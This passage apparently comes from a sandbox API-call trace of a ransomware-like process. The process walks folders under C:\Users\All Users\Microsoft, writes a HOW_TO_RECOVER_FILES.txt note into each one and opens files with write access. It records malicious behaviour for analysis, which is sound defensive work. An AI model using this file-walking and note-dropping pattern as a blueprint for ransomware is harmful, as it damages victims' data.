ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 1 [0153.100] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.101] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0153.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0153.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0153.101] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts", lpFilePart=0x0) returned 0x28 [0153.101] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x2e3b99ea, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e3b99ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.101] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x2e3b99ea, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e3b99ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.101] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e3b99ea, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2e3b99ea, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e68e674, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0153.101] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 1 [0153.102] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 0 [0153.102] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0153.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0153.102] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0153.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0153.102] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\uev\\scripts\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0153.103] GetFileType (hFile=0x808) returned 0x1 [0153.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0153.103] GetFileType (hFile=0x808) returned 0x1 [0153.104] WriteFile (in: hFile=0x808, lpBuffer=0x38d2120*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x38d2120*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0153.104] CloseHandle (hObject=0x808) returned 1 [0153.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0153.105] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Templates", lpFilePart=0x0) returned 0x2a [0153.105] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e68e674, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.105] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e68e674, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.105] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e68e674, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2e68e674, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e6b4abc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0153.105] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x25ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate.xsd", cAlternateFileName="")) returned 1 [0153.106] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013.xsd", cAlternateFileName="")) returned 1 [0153.106] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 1 [0153.106] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.106] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0153.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0153.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0153.106] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Templates", lpFilePart=0x0) returned 0x2a [0153.106] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x2e68e674, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e68e674, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.106] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x2e68e674, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e68e674, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.107] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e68e674, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2e68e674, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e6b4abc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0153.107] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x25ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate.xsd", cAlternateFileName="")) returned 1 [0153.107] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013.xsd", cAlternateFileName="")) returned 1 [0153.107] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 1 [0153.107] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 0 [0153.107] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0153.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0153.108] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", lpFilePart=0x0) returned 0x47 [0153.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0153.108] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), fInfoLevelId=0x0, lpFileInformation=0x38e1de0 | out: lpFileInformation=0x38e1de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x25ec)) returned 1 [0153.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0153.108] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", lpFilePart=0x0) returned 0x47 [0153.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0153.108] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0153.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eafa0) returned 1 [0153.110] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", lpFilePart=0x0) returned 0x4b [0153.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0153.110] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), fInfoLevelId=0x0, lpFileInformation=0x38e25c0 | out: lpFileInformation=0x38e25c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c20)) returned 1 [0153.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0153.111] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", lpFilePart=0x0) returned 0x4b [0153.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0153.111] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0153.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eafa0) returned 1 [0153.113] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", lpFilePart=0x0) returned 0x4c [0153.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0153.113] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), fInfoLevelId=0x0, lpFileInformation=0x38e2dc8 | out: lpFileInformation=0x38e2dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724)) returned 1 [0153.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0153.113] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", lpFilePart=0x0) returned 0x4c [0153.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0153.113] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0153.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eafa0) returned 1 [0153.115] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0153.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0153.115] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0153.116] GetFileType (hFile=0x808) returned 0x1 [0153.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0153.116] GetFileType (hFile=0x808) returned 0x1 [0153.117] WriteFile (in: hFile=0x808, lpBuffer=0x38e59a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x38e59a8*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0153.118] CloseHandle (hObject=0x808) returned 1 [0153.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0153.119] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\XboxLive", lpFilePart=0x0) returned 0x25 [0153.119] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.119] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.119] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33fd0f9a, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33fd0f9a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0153.119] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NSALCache", cAlternateFileName="NSALCA~1")) returned 1 [0153.119] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NSALCache", cAlternateFileName="NSALCA~1")) returned 0 [0153.119] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.120] SetThreadErrorMode (dwNewMode=0x0, 